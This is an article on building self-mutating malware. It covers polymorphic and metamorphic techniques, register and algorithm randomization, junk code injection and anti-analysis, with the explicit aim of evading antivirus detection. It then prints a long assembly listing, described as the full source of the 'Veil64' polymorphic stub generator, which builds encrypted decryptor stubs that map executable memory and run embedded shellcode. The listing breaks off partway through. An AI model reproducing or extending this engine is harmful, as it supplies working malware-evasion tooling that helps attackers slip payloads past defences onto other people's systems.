Skip to main content

The Art of Self-Mutating Malware

Article Summary: This article systematically elaborates on the technical evolution and implementation principles of self-mutating malware, covering the core mechanisms of polymorphic and metamorphic engines. Through two concrete examples β€” Veil64 and Morpheus β€” the author “f00crew” from Hong Kong China, analyzes key techniques such as register randomization, algorithmic variants, and intelligent junk code injection. It emphasizes how mutation at the syntactic, structural, and semantic layers can evade signature-based detection while strictly adhering to the principle of behavioral conservation. The author points out that the essence of mutation technology is to keep functionality unchanged while infinitely varying the implementation method, and warns of risks such as code size inflation and stability issues.

Categories: Malware, Binary Security, Vulnerability Analysis, Red Teaming, Penetration Testing


The Art of Self-Mutating Malware

In the beginning, detection relied on signatures β€” a simple byte string that could uniquely identify a malicious sample. In that era, the process was straightforward: append the virus to the end of a file and patch the entry point. The AV industry quickly responded with signature databases, and for a period, the rhythm of this confrontation was predictable.

This article discusses how to implement self-mutating malicious code: how to build your own polymorphic engine, and some core ideas behind metamorphic code. For malicious code, self-mutation is one of the most elegant paths to solving the detection problem. You no longer just hide yourself β€” you become β€œanother you” with every replication. This is the purest form of digital evolution.

The concepts we discuss do not depend on any specific implementation. Although the article uses real examples and practical principles from code I have written, the real value lies in understanding the underlying theory of β€œwhy mutation is feasible.”

Let’s go back to the beginning. Early VX practices were crude: they directly overwrote files and caused destruction. Some samples would first run the original program and then deliver their own payload. AV quickly caught up, mainly relying on signature scanning to catch samples.

The VX community evolved accordingly and began encrypting their code. The payload remained encrypted and was only unpacked at runtime. AV then turned its attention to the decryptor, so VX authors began dynamically transforming decryption routines. Some families even automatically rotated decryptors β€” this type later became known as oligomorphic.

Around 1985 to 1990, AV dominated with static signature scanning: string matching and fixed byte patterns made samples easy to hit once they landed on disk. By the early 1990s, the situation began to change. Virus bodies started to be encrypted, exposing only a decryption stub. This stub immediately became AV’s primary hunting target and spurred the development of wildcard and heuristic scanning.

Then polymorphic viruses appeared. The virus would automatically generate a new decryptor at creation time or during each infection. Each instance had its own encryption/decryption routine and evaded scanning by rearranging machine code. This was the typical feature from 1995 to 2000: the same virus, infinite appearances. Dark Avenger’s MtE engine completely rewrote the rules of this game.

After that, metamorphic viruses emerged. They no longer relied on an encryption shell. They would rewrite the entire body with every infection. Code structure, control flow, and register usage would all change, but the payload remained unchanged. Between 2000 and 2005, metamorphic samples like Zmist and Simile raised the bar even higher: there was no fixed decryptor to track β€” only continuous code mutation.

Metamorphic code changes everything, not just the decryptor. It evolved from polymorphism but upgraded from β€œencryption camouflage” to β€œoverall code reshaping.” Detection difficulty is extremely high; implementation difficulty is equally high, especially at the assembly level.


Overview #

When it comes to self-modifying loaders, you have two paths. The first is to keep it small and aggressive: build a lightweight, fast loader that only performs β€œjust enough” mutation β€” tweak a few places here, quickly shuffle a few there β€” to slip past scanners without triggering obvious alerts. The code remains compact and raw, but reliable enough.

The other path is full metamorphosis. The loader no longer just fine-tunes itself; it disassembles and rebuilds itself. Layouts are rearranged, instructions are scattered, and entirely new encryption is used on every run. Even if reverse engineers and AV capture one version, the next version will look like a completely unfamiliar sample.

This is not magic. Making it run stably after every mutation is extremely difficult. You must build in validation: count instructions, verify jumps, and perform sanity checks on every change β€” otherwise it will crash immediately. Even more troublesome is that code size can balloon out of control, eventually losing practicality.

Before discussing specific techniques, we must first clarify: when we talk about executable code, what does β€œmutation” really mean? It is not just β€œchanging a few bytes,” but the relationship between β€œform and function,” and how far this relationship can be stretched without destroying behavior.


β€” The Essence of Identity β€” #

What exactly makes a program β€œitself”? Is it the order of instructions? Register usage? Memory layout? Or something deeper, like intent?

Mutation’s answer is: identity does not lie in what the code looks like, but in what the code does. As long as two binaries produce the same output for the same input, they are functionally equivalent β€” even if their assembly is completely different.

Nasm
1Version A:                    Version B:                    Version C:
2mov eax, 0                    xor eax, eax                  sub eax, eax
3inc ebx                       add ebx, 1                    lea ebx, [ebx+1]
Plain text
1Bytes:                        Bytes:                        Bytes:
2B8 00 00 00 00 43             31 C0 83 C3 01                29 C0 8D 5B 01

Three completely different byte patterns that produce identical behavior. This was my β€œeureka moment” and the starting point for all subsequent implementations.

The core insight is: a program’s identity is not its bytes, but its behavior. If I can generate infinitely many patterns that keep behavior unchanged while making bytes different, signature-based detection will be continuously undermined.

But this also raises harder questions:

  • How to systematically generate equivalent code?
  • How to guarantee correctness across mutations?
  • How to make variants truly unpredictable?

These three questions directly shaped the design of my two engines. They explore different paths to β€œmutation,” and we call them Veil64 and Morpheus.

Veil64 is a polymorphic code generator used to produce infinite variants of decryption routines: same functionality, infinite forms. Morpheus is a file infector that truly rewrites its own code during execution.

This is the core idea. Everything else is built on top of it: if you cannot hide what is done, then make how it is done unpredictable.

Signatures are the byte patterns that AV focuses on tracking β€” the β€œhigh-risk” digital footprints. Strings, code fragments, hashes β€” anything that can mark malware will be used. Encryption is a key technique here: it scrambles these recognizable markers, making it difficult for AV to hit them.

Then there is the payload, the part that actually executes the malicious logic. It usually does not run alone but is bound to a stub. This small module decrypts and launches the payload in memory. Because the payload itself is encrypted, AV has difficulty hitting it statically and instead targets the stub. The advantage is that the stub is small and easy to continuously mutate, allowing it to constantly bypass old rules.

This turns the confrontation into a β€œone-to-many” game, and this mathematical relationship naturally favors the mutation side. Each new variant has a chance to break old detection rules, burn old signatures, and continue to lurk.


β€œWhat starts as polymorphic finishes as metamorphic.”


β€” Levels of Mutation β€” #

Mutation is not just surface-level change β€” it occurs across layers, including syntactic, structural, and semantic reconstruction.

First, syntactic mutation (grammar-level mutation). This is the outermost layer: replacing equivalent instructions, randomizing register usage, and reordering operations. Appearance changes, result remains the same.

Nasm
1Original:     mov eax, [ebx+4]
2Mutated:      push ebx
3              add ebx, 4
4              mov eax, [ebx]
5              sub ebx, 4
6              pop ebx

Both snippets load the value at [ebx+4] into eax, but the instruction paths are completely different.

Deeper is structural mutation (structure-level mutation). The change is more profound: reconnecting control flow, rewriting data structures, or even replacing entire algorithms with β€œdifferent paths but equivalent results.”

The deepest is semantic mutation (semantic-level mutation). It splits functions and reorganizes logic into behaviorally equivalent bodies while ensuring the original intent remains unchanged.


β€” The Conservation Principle β€” #

No matter how aggressive the mutation, there is one non-negotiable constraint: the program’s semantic behavior must be preserved. What is done (functional output) must remain unchanged; only how it is done (internal implementation mechanism) can change.

The genotype (underlying code structure) can freely drift, mutate, and be obfuscated; the phenotype (externally observable behavior) must remain constant. All mutation techniques can only operate within this boundary.


Naive Approaches #

Polymorphism is the purest form of mutation. It essentially expresses the same thing in a thousand different ways. Like a chameleon with a clear goal: core behavior is locked, while everything else continuously changes. No fixed identity, only endless variants.

My first serious attempt to break signature detection was Veil64: a polymorphic code generator capable of generating infinite different ways to write the same decryption logic. The goal was simple: encrypt the payload differently every time and ensure the decryptor never appears the same twice.


β€” Core Challenges β€” #

Constructing code that can correctly decrypt every time but looks different each time is non-trivial. Every generation must be compact, fast, clean, highly efficient, without leaving obvious patterns, and resistant to both static and dynamic analysis.

I started with a simple two-stage design, and understanding this split is key to why it works. The first layer is the stub: a minimal piece of code responsible for memory allocation and decrypting the embedded engine. The second layer is the engine itself: the polymorphic decryptor that actually handles the payload.

Plain text
1β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
2β”‚   Stub Code     β”‚   (119-200 bytes)
3β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
4β”‚ Encrypted Engineβ”‚   (176-300 bytes)
5β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
6β”‚   Padding       β”‚
7β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Why use two stages? Because this allows the polymorphic engine itself to be encrypted. The stub is small and simple, so even with variants, the signature surface is limited. The real polymorphic power resides in the engine. By encrypting the engine and embedding it inside the stub, complex and variable code is hidden until runtime.

The overall flow is as follows: you call genrat() with a buffer, size, and seed key. The engine first generates a runtime key using multiple entropy sources: RDTSC provides hardware timing, stack pointer provides process differences, and RIP provides position-related randomness. It then builds the polymorphic engine, including random register allocation, selection among four algorithmic variants, and intelligent junk code injection.

Next comes the stub generation stage. Multiple mmap syscall initialization variants are generated, RIP-relative addressing is handled for position independence, and the encrypted engine is embedded. Finally, everything is encrypted and assembled into executable code.

The clever part is that the stub and engine change independently. Even if someone creates a signature for a stub variant, the internal encrypted engine is different every time. Even if they manage to extract and analyze the engine, the next generation will use a completely different set of registers and algorithms.


β€” The Four Pillars of Polymorphism β€” #

Never use the same set of registers twice.

Hard-coded registers are signature bait. If your decryptor always uses EAX as a counter and EBX as a data pointer, you are practically exposing yourself. Such patterns will be quickly flagged, so the engine randomizes register usage on every generation.

But this is not random grabbing. The selection process avoids conflicts, skips RSP to prevent stack corruption, and ensures no register takes on multiple roles. The underlying logic looks roughly like this:

Nasm
 1get_rr:
 2    call next_random
 3    and rax, 7
 4    cmp al, REG_RSP           ; Never use stack pointer
 5    je get_rr
 6    cmp al, REG_RAX           ; Avoid RAX conflicts
 7    je get_rr
 8    mov [rel reg_base], al    ; Store base register
 9
10.retry_count:
11    call next_random
12    and rax, 7
13    cmp al, REG_RSP
14    je .retry_count
15    cmp al, [rel reg_base]    ; Ensure no conflicts
16    je .retry_count
17    mov [rel reg_count], al

This process is repeated for key registers and all registers used in junk code. Even before considering algorithms and junk injection, there are already 210 possible register combinations. That means the same register-level operation can have 210 different appearances β€” all completely distinct to a signature scanner.

One variant might use RBX for data, RCX for counting, and RDX for the key. The next might switch to RSI for data, RDI for counting, and RBX for the key. Yet another could use extended registers R8, R9, R10. Every combination is functionally equivalent, but the opcode patterns are completely different.


β€” Four Ways to Say the Same Thing β€” #

Register randomization is only the starting point. True depth comes from algorithmic polymorphism. We do not fix a single decryption flow but cycle between four equivalent algorithms: same output, completely different instruction streams.

This is not simply swapping XOR for ADD. Each variant is carefully designed to guarantee correctness while maximizing signature dispersion.

  • Algorithm 0: ADD β†’ ROL β†’ XOR
  • Algorithm 1: XOR β†’ ROL β†’ XOR
  • Algorithm 2: SUB β†’ ROR β†’ XOR
  • Algorithm 3: XOR β†’ ADD β†’ XOR

All four algorithms produce identical final results, but their instruction sequences and opcode patterns are entirely different.

Each algorithm has a corresponding inverse process in the encryption phase. For example, if encryption uses XOR β†’ ROR β†’ SUB, decryption uses ADD β†’ ROL β†’ XOR. Mathematically they cancel perfectly, but the instruction flows never look the same. Opcode patterns, instruction lengths, and register usage all change. To a signature scanner, they appear as completely different routines.


β€” Intelligent Junk Code β€” #

Most polymorphic engines fail here: they either stuff random bytes or pile on obvious NOP sleds, practically shouting β€œI’m malware.” That is low-level. True polymorphism uses β€œintentional-looking” junk code that blends into the context and mimics normal compiler output.

Junk injection is not purely random β€” it is structured. It uses no-net-effect PUSH/POP pairs that look like register preservation, XOR reg, reg to imitate common zeroing initialization, and MOV reg, reg that resembles typical compiler register shuffling.

This is just a very basic example. Some engines do it more aggressively. The key point is to make it look like real developer code. PUSH RAX followed by POP RBX can masquerade as register saving and transfer; XOR RAX, RAX looks like legitimate initialization; MOV RAX, RAX resembles dead code left by an optimizer. Functionally they add no value, but visually they blend in.

Junk injection also deliberately varies in density: sometimes heavy, sometimes sparse; sometimes clumped, sometimes scattered in loops. There is no fixed β€œjunk zone” that can be isolated β€” only code that looks normal every single time.


β€” Breaking Linear Analysis β€” #

Static analysis relies on linear flow: traversing code, building graphs, and extracting patterns. So we break it. Random jumps are inserted to skip over junk regions, directly destroying straight-line logic.

Jump generation is subtle. Sometimes 2-byte short jumps, sometimes 5-byte long jumps; they may skip only 1 byte or over a dozen. The skipped junk content is randomized every time. Even if the analyzer follows the jump path, its rhythm is disrupted on every run.

This produces unpredictable control flow and interferes with both static and dynamic analysis. Static tools face non-linear instruction streams mixed with random data; dynamic tools encounter different execution paths on every run, making it difficult to build a stable behavioral profile.

These jumps also serve a dual purpose: they mimic compiler output. Real compiled code is full of branches, jumps, and irregular flow. Injecting our own jumps increases this β€œnatural complexity,” helping the code blend more seamlessly.


β€” The Entropy Problem β€” #

Hard-coded keys or constants are traps. I learned this the hard way: early versions embedded the constant 0xDEADBEEF in every variant. No matter how much the rest of the code changed, that fixed value instantly became a red flag.

The solution is runtime key generation: no fixed constants, no repetition, no nail-down patterns. The key is reconstructed on every execution, drawing from multiple entropy sources that vary with execution round, process, and machine.

Entropy comes from multiple sources. RDTSC provides high-resolution microsecond-level timing; the stack pointer changes with processes and function calls; RIP brings position-related randomness under ASLR; the user key introduces input-driven variation.

The real strength lies in how these values are combined. It is not simple XOR, but involves rotations, complements, and mixing with stack-related values. Each transformation step depends on the current state, forming a dependency chain that ultimately produces a truly unpredictable key.


β€” Randomness Is Critical β€” #

Excellent polymorphic capability depends on high-quality randomness. Many engines use basic linear congruential generators or simple incrementing counters β€” both easily produce predictable patterns that can be flagged. I prefer the XorShift PRNG: fast, long period (2^64βˆ’1), and passes strong statistical randomness tests without repeating for a very long time.

Under ASLR, code is loaded at different addresses each time. Hard-coded absolute addresses will cause the polymorphic decryptor to fail if it lands in an unexpected location. The solution is RIP-relative addressing, with offsets calculated based on the current instruction pointer.


β€” Just-in-Time Machine Code Generation β€” #

This is where we reach the real core. You cannot simply rearrange pre-written assembly and call it polymorphic. The engine generates raw x64 machine code on the fly, building every instruction byte by byte. Opcodes and operands are computed dynamically based on the current register allocation and algorithm choice.

The ModRM byte is especially critical in x64: it encodes which registers are used. By calculating this byte dynamically, the engine can implement the same operation with any register combination, producing different bytes β€” and therefore different signatures.

The same polymorphic thinking applies to all syscall parameters. Multiple construction methods are used to avoid pattern matching.


β€” Performance and Scalability β€” #

Basic generation averages 9 to 13 milliseconds per variant, translating to 50,000 to 75,000 variants per minute β€” enough to overwhelm signature detection. Speed is not higher because each variant undergoes register renaming, flow randomization, intelligent junk injection, and anti-debug checks.

Generation time fluctuates by Β±3 to 4 ms by design to avoid predictability; stable timing would aid detection. The engine maintains this jitter by varying instruction order, junk block size, and encryption rounds.

Static memory footprint is approximately 340 to 348 KB β€” far larger than toy 4 KB engines. This includes precomputed transformation tables, runtime mutation logic, and anti-emulation traps. Per-variant memory usage remains stable with no leaks or growth.

Code size fluctuates between 180 bytes and 1.2 KB. Compact variants favor speed; balanced variants strike a compromise; complex variants maximize complexity to stress AV engines.


β€” What Variants Look Like β€” #

Nasm Total 25 lines
 1Variant #1: Size 335, Key 0x4A4BDC5C3AEAC0AD
 248 C7 C0 0A 00 00 00    mov rax, 10
 348 FF C8                dec rax
 450                      push rax
 558                      pop rax
 690                      nop
 748 31 FF                xor rdi, rdi
 8...
 9
10Variant #2: Size 368, Key 0x6BAAA583D73FA32B
1150                      push rax
1258                      pop rax
1350                      push rax
1458                      pop rax
1548 31 C0                xor rax, rax
1648 83 C0 09             add rax, 9
17...
18
19Variant #3: Size 385, Key 0x5C3F1EDF85C0D55E
2090                      nop
2190                      nop
2250                      push rax
2358                      pop rax
2448 C7 C0 09 00 00 00    mov rax, 9
25...

Look at the differences. Variant #1 sets RAX by loading 10 then decrementing. Variant #2 uses PUSH/POP junk first, then XOR/ADD. Variant #3 starts with NOPs, inserts another set of junk, then loads directly. The result is the same (RAX = 9), but the method is completely different.

Size fluctuation is large. These three samples differ by less than 50 bytes. In reality, the engine can produce variants from compact 180-byte versions to large 1200-byte versions, depending on the intensity of junk injection and obfuscation.

The engine classifies variants into three categories by structure and complexity. Compact types (β‰ˆ295–350 bytes) minimize junk and prioritize speed; balanced types (up to 400 bytes) compromise between obfuscation and stability; complex types (up to 500 bytes) layer more polymorphic techniques and anti-analysis features.

With four algorithms combined with 210 register permutations, there are already 840 base variants before adding junk and control-flow obfuscation. Introducing variable junk injection, diverse jump patterns, and multiple stub initialization methods expands the variant space into the millions.

The key is not just quantity, but β€œfunctional equivalence + signature diversity.” Every variant can correctly decrypt the payload, yet appears distinctly different from a signature-detection perspective.

Effective polymorphism maximizes signature diversity without degrading correctness. Generating billions of variants is meaningless if many are broken or still share detectable patterns. Correctness and diversity scale must hold simultaneously.


β€” Built-in Anti-Analysis Design β€” #

Emulation engines usually struggle with variable timing, and junk code injection creates unpredictable execution durations. Key generation dependent on stack state makes the same variant behave differently across process contexts. Reliance on hardware timestamps further increases emulation cost because it requires accurate RDTSC simulation.

With no fixed constants or strings, static analysis tools struggle because there are almost no grep-able or fingerprintable anchors. Polymorphic control flow breaks linear analysis, while the encrypted embedded engine hides core logic until runtime.

Dynamic analysis is also disrupted by β€œlegitimate-looking, functionally neutral” junk code. Multiple execution paths generate different behavioral traces on every run. Runtime key derivation ensures each execution has a unique key, making results difficult to reuse even if tracing succeeds.

Anti-analysis features are not optional β€” they are part of the system. Every polymorphic technique serves two purposes simultaneously: evading signatures and increasing analysis cost.


Veil64 Full Source Code #

Nasm Total 1401 lines
   1;------------------------------------------------------------
   2;   [ V E I L 6 4 ]
   3;------------------------------------------------------------
   4;   Type:           Polymorphic Engine / Stub Generator
   5;   Platform:       x86_64 Linux
   6;   Size:           ~4KB Engine + Custom Stub
   7;                   Runtime shellcode obfuscation, encryption,
   8;                   and stealth execution via mmap + RIP tricks.
   9;
  10;                                                   0xf00sec
  11;------------------------------------------------------------
  12
  13section .text
  14
  15global genrat
  16global exec_c
  17global _start
  18
  19; x64 opcodes
  20%define PUSH_REG           0x50
  21%define POP_REG            0x58
  22%define ADD_MEM_REG        0x01
  23%define ADD_REG_IMM8       0x83
  24%define ROL_MEM_IMM        0xC1
  25%define XOR_MEM_REG        0x31
  26%define TEST_REG_REG       0x85
  27%define JNZ_SHORT          0x75
  28%define JZ_SHORT           0x74
  29%define CALL_REL32         0xE8
  30%define JMP_REL32          0xE9
  31%define JMP_SHORT          0xEB
  32%define RET_OPCODE         0xC3
  33%define NOP_OPCODE         0x90
  34%define JNZ_LONG           0x0F85
  35%define FNINIT_OPCODE      0xDBE3
  36%define FNOP_OPCODE        0xD9D0
  37
  38; register encoding
  39%define REG_RAX            0
  40%define REG_RCX            1
  41%define REG_RDX            2
  42%define REG_RBX            3
  43%define REG_RSP            4
  44%define REG_RBP            5
  45%define REG_RSI            6
  46%define REG_RDI            7
  47
  48section .data
  49
  50stub_key:               dq 0xDEADBEEF            ; runtime key
  51sec_key:                dq 0x00000000
  52engine_size:            dq 0
  53dcr_eng:                dq 0
  54stub_sz:                dq 0
  55sz:                     dq 0
  56
  57seed:                   dq 0                     ; PRNG state
  58p_entry:                dq 0                     ; output buffer
  59key:                    dq 0                     ; user key
  60reg_base:               db 0                     ; selected registers
  61reg_count:              db 0
  62reg_key:                db 0
  63junk_reg1:              db 0                     ; junk registers
  64junk_reg2:              db 0
  65junk_reg3:              db 0
  66prolog_set:             db 0
  67fpu_set:                db 0
  68jmp_back:               dq 0
  69alg0_dcr:               db 0                     ; algorithm selector
  70
  71align 16
  72entry:
  73times 4096 db 0                                 ; engine storage
  74exit:
  75
  76section .text
  77
  78; main generator entry point
  79genrat:
  80    push rbp
  81    mov rbp, rsp
  82    sub rsp, 64
  83    push rbx
  84    push r12
  85    push r13
  86    push r14
  87    push r15
  88
  89    test rdi, rdi                               ; validate params
  90    jz .r_exit
  91    test rsi, rsi
  92    jz .r_exit
  93    cmp rsi, 1024                               ; min buffer size
  94    jb .r_exit
  95
  96    mov [rel p_entry], rdi
  97    mov [rel sz], rsi
  98    mov [rel key], rdx
  99
 100    call gen_runtm                              ; generate runtime keys
 101
 102    lea rdi, [rel entry]
 103    mov r12, rdi
 104    call gen_reng                               ; build engine
 105
 106    mov rax, rdi                                ; calculate engine size
 107    sub rax, r12
 108    mov [rel engine_size], rax
 109
 110    mov rdi, [rel p_entry]
 111    call unpack_stub                            ; build stub
 112    call enc_bin                                ; encrypt payload
 113
 114    mov rax, [rel stub_sz]                      ; total
 115    test rax, rax
 116    jnz .calc_sz
 117    mov rax, rdi
 118    sub rax, [rel p_entry]
 119
 120.calc_sz:
 121    pop r15
 122    pop r14
 123    pop r13
 124    pop r12
 125    pop rbx
 126    add rsp, 64
 127    pop rbp
 128    ret
 129
 130.r_exit:
 131    xor rax, rax
 132    pop r15
 133    pop r14
 134    pop r13
 135    pop r12
 136    pop rbx
 137    add rsp, 64
 138    pop rbp
 139    ret
 140
 141; generate engine
 142gen_reng:
 143    push rdi
 144    push rsi
 145    push rcx
 146
 147    rdtsc
 148    xor rax, [rel key]
 149    mov rbx, 0x5DEECE66D
 150    xor rax, rbx
 151    mov rbx, rax
 152    shl rbx, 13
 153    xor rax, rbx
 154    mov rbx, rax
 155    shr rbx, 17
 156    xor rax, rbx
 157    mov rbx, rax
 158    shl rbx, 5
 159    xor rax, rbx
 160    xor rax, rsp
 161    mov [rel seed], rax
 162
 163    push rdi                                    ; clear state
 164    lea rdi, [rel reg_base]
 165    mov rcx, 16
 166    xor rax, rax
 167    rep stosb
 168    pop rdi
 169
 170    pop rcx
 171    pop rsi
 172    pop rdi
 173
 174    call get_rr                                 ; select random registers
 175    call set_al                                 ; pick decrypt algorithm
 176    call gen_p                                  ; generate prologue
 177
 178    call yes_no                                 ; random junk insertion
 179    test rax, rax
 180    jz .skip_pr
 181    call gen_trash
 182
 183.skip_pr:
 184    call trash
 185
 186    call yes_no
 187    test rax, rax
 188    jz .skip_dummy
 189    call gen_dummy
 190
 191.skip_dummy:
 192    call gen_dec                                ; main decrypt loop
 193
 194    call yes_no
 195    test rax, rax
 196    jz .skip_prc
 197    call gen_trash
 198
 199.skip_prc:
 200    mov al, RET_OPCODE
 201    stosb
 202
 203    cmp qword [rel jmp_back], 0                 ; conditional jump back
 204    je .skip_jmp
 205
 206    mov ax, JNZ_LONG
 207    stosw
 208    mov rax, [rel jmp_back]
 209    sub rax, rdi
 210    sub rax, 4
 211    stosd
 212
 213.skip_jmp:
 214    call trash
 215    mov al, RET_OPCODE
 216    stosb
 217    ret
 218
 219; encrypt generated engine
 220enc_bin:
 221    push rdi
 222    push rsi
 223    push rcx
 224    push rax
 225    push rbx
 226
 227    lea rdi, [rel entry]
 228    mov rcx, [rel engine_size]
 229
 230    ; validate engine size
 231    test rcx, rcx
 232    jz .enc_done
 233    cmp rcx, 4096
 234    ja .enc_done
 235    cmp rcx, 10
 236    jb .enc_done
 237
 238    ; encrypt in place
 239    mov rax, [rel stub_key]
 240    mov rsi, rcx
 241
 242.enc_loop:
 243    test rsi, rsi
 244    jz .enc_done
 245    xor byte [rdi], al
 246    rol rax, 7
 247    inc rdi
 248    dec rsi
 249    jmp .enc_loop
 250
 251.enc_done:
 252    pop rbx
 253    pop rax
 254    pop rcx
 255    pop rsi
 256    pop rdi
 257    ret
 258
 259; build stub wrapper
 260unpack_stub:
 261    push rbx
 262    push rcx
 263    push rdx
 264    push r12
 265
 266    mov r12, rdi
 267
 268    call bf_boo                                 ; bounds check
 269    jae .stub_flow
 270
 271    call stub_trash
 272    call gen_stub_mmap
 273    call stub_decrypt
 274
 275    mov rax, rdi
 276    sub rax, r12
 277    mov [rel stub_sz], rax
 278
 279    call stub_trash
 280
 281    ; update size after junk
 282    mov rax, rdi
 283    sub rax, r12
 284
 285    ; check space for encrypted engine
 286    mov rbx, rax
 287    add rax, [rel engine_size]
 288    cmp rax, [rel sz]
 289    ja .stub_flow
 290
 291    ; embed encrypted engine
 292    lea rsi, [rel entry]
 293    mov rcx, [rel engine_size]
 294    test rcx, rcx
 295    jz .skip_embed
 296    rep movsb
 297
 298.skip_embed:
 299    ; final size calculation
 300    mov rax, rdi
 301    sub rax, r12
 302    mov [rel stub_sz], rax
 303
 304    pop r12
 305    pop rdx
 306    pop rcx
 307    pop rbx
 308    ret
 309
 310.stub_flow:
 311    xor rax, rax
 312    mov [rel stub_sz], rax
 313    pop r12
 314    pop rdx
 315    pop rcx
 316    pop rbx
 317    ret
 318
 319; generate stub junk
 320stub_trash:
 321    call next_random
 322    and rax, 7                                  ; 0-7 junk instructions
 323    mov rcx, rax
 324    test rcx, rcx
 325    jz .no_garbage
 326
 327.trash_loop:
 328    call next_random
 329    and rax, 3                                  ; choose junk type
 330    cmp al, 0
 331    je .gen_nop
 332    cmp al, 1
 333    je .gen_push_pop
 334    cmp al, 2
 335    je .gen_xor_self
 336    jmp .gen_mov_reg
 337
 338.gen_nop:
 339    mov al, 0x90
 340    stosb
 341    jmp .next_garbage
 342
 343.gen_push_pop:
 344    mov al, 0x50                                ; push rax
 345    stosb
 346    mov al, 0x58                                ; pop rax
 347    stosb
 348    jmp .next_garbage
 349
 350.gen_xor_self:
 351    mov al, 0x48                                ; rex.w
 352    stosb
 353    mov al, 0x31                                ; xor rax,rax
 354    stosb
 355    mov al, 0xC0
 356    stosb
 357    jmp .next_garbage
 358
 359.gen_mov_reg:
 360    mov al, 0x48                                ; rex.w
 361    stosb
 362    mov al, 0x89                                ; mov rax,rax
 363    stosb
 364    mov al, 0xC0
 365    stosb
 366
 367.next_garbage:
 368    loop .trash_loop
 369
 370.no_garbage:
 371    ret
 372
 373; generate mmap syscall stub
 374gen_stub_mmap:
 375    ; mmap setup
 376    call next_random
 377    and rax, 3                                  ; choose method
 378    cmp al, 0
 379    je .mmap_method_0
 380    cmp al, 1
 381    je .mmap_method_1
 382    cmp al, 2
 383    je .mmap_method_2
 384    jmp .mmap_method_3
 385
 386.mmap_method_0:
 387    ; mov rax, 9
 388    mov al, 0x48
 389    stosb
 390    mov al, 0xC7
 391    stosb
 392    mov al, 0xC0
 393    stosb
 394    mov eax, 9                                  ; mmap syscall
 395    stosd
 396    jmp .mm_continue
 397
 398.mmap_method_1:
 399    ; xor rax,rax; add rax,9
 400    mov al, 0x48
 401    stosb
 402    mov al, 0x31
 403    stosb
 404    mov al, 0xC0
 405    stosb
 406    mov al, 0x48
 407    stosb
 408    mov al, 0x83
 409    stosb
 410    mov al, 0xC0
 411    stosb
 412    mov al, 9
 413    stosb
 414    jmp .mm_continue
 415
 416.mmap_method_2:
 417    ; mov rax,10; dec rax
 418    mov al, 0x48
 419    stosb
 420    mov al, 0xC7
 421    stosb
 422    mov al, 0xC0
 423    stosb
 424    mov eax, 10
 425    stosd
 426    mov al, 0x48
 427    stosb
 428    mov al, 0xFF
 429    stosb
 430    mov al, 0xC8
 431    stosb
 432    jmp .mm_continue
 433
 434.mmap_method_3:
 435    ; mov rax,18; shr rax,1
 436    mov al, 0x48
 437    stosb
 438    mov al, 0xC7
 439    stosb
 440    mov al, 0xC0
 441    stosb
 442    mov eax, 18
 443    stosd
 444    mov al, 0x48
 445    stosb
 446    mov al, 0xD1
 447    stosb
 448    mov al, 0xE8
 449    stosb
 450
 451.mm_continue:
 452    call stub_trash
 453
 454    ; rdi setup
 455    call next_random
 456    and rax, 1
 457    test rax, rax
 458    jz .rdi_method_0
 459
 460    ; mov rdi,0
 461    mov al, 0x48
 462    stosb
 463    mov al, 0xC7
 464    stosb
 465    mov al, 0xC7
 466    stosb
 467    mov eax, 0
 468    stosd
 469    jmp .rdi_done
 470
 471.rdi_method_0:
 472    ; xor rdi,rdi
 473    mov al, 0x48
 474    stosb
 475    mov al, 0x31
 476    stosb
 477    mov al, 0xFF
 478    stosb
 479
 480.rdi_done:
 481
 482    ; mov rsi,4096
 483    mov al, 0x48
 484    stosb
 485    mov al, 0xC7
 486    stosb
 487    mov al, 0xC6
 488    stosb
 489    mov eax, 4096
 490    stosd
 491
 492    ; mov rdx,7 (rwx)
 493    mov al, 0x48
 494    stosb
 495    mov al, 0xC7
 496    stosb
 497    mov al, 0xC2
 498    stosb
 499    mov eax, 7
 500    stosd
 501
 502    ; mov r10,0x22 (private|anon)
 503    mov al, 0x49
 504    stosb
 505    mov al, 0xC7
 506    stosb
 507    mov al, 0xC2
 508    stosb
 509    mov eax, 0x22
 510    stosd
 511
 512    ; mov r8,-1
 513    mov al, 0x49
 514    stosb
 515    mov al, 0xC7
 516    stosb
 517    mov al, 0xC0
 518    stosb
 519    mov eax, 0xFFFFFFFF
 520    stosd
 521
 522    ; mov r9,0
 523    mov al, 0x4D
 524    stosb
 525    mov al, 0x31
 526    stosb
 527    mov al, 0xC9
 528    stosb
 529
 530    ; syscall
 531    mov al, 0x0F
 532    stosb
 533    mov al, 0x05
 534    stosb
 535    ret
 536
 537; generate decryption stub
 538stub_decrypt:
 539    ; mov rbx,rax (save mmap result)
 540    mov al, 0x48
 541    stosb
 542    mov al, 0x89
 543    stosb
 544    mov al, 0xC3
 545    stosb
 546
 547    ; calculate RIP-relative offset to embedded engine
 548    mov r15, rdi
 549
 550    mov rax, [rel p_entry]
 551    mov rdx, [rel stub_sz]
 552    test rdx, rdx
 553    jnz .usszz
 554    ; fallback calculation
 555    mov rdx, rdi
 556    sub rdx, [rel p_entry]
 557    add rdx, 100
 558
 559.usszz:
 560    add rax, rdx                                ; engine position
 561
 562    ; RIP-relative calculation
 563    mov rbx, r15
 564    add rbx, 7                                  ; after LEA instruction
 565    sub rax, rbx
 566
 567    ; lea rsi,[rip+offset]
 568    mov al, 0x48
 569    stosb
 570    mov al, 0x8D
 571    stosb
 572    mov al, 0x35
 573    stosb
 574    stosd
 575
 576    ; mov rcx,engine_size
 577    mov al, 0x48
 578    stosb
 579    mov al, 0xC7
 580    stosb
 581    mov al, 0xC1
 582    stosb
 583    mov rax, [rel engine_size]
 584    test rax, rax
 585    jnz .engine_sz
 586    mov rax, 512
 587
 588.engine_sz:
 589    cmp rax, 65536
 590    jbe .size_ok
 591    mov rax, 65536
 592
 593.size_ok:
 594    stosd
 595
 596    ; mov rdx,stub_key
 597    mov al, 0x48
 598    stosb
 599    mov al, 0xBA
 600    stosb
 601    mov rax, [rel stub_key]
 602    stosq
 603
 604    ; decryption loop
 605    mov r14, rdi
 606
 607    ; test rcx,rcx
 608    mov al, 0x48
 609    stosb
 610    mov al, 0x85
 611    stosb
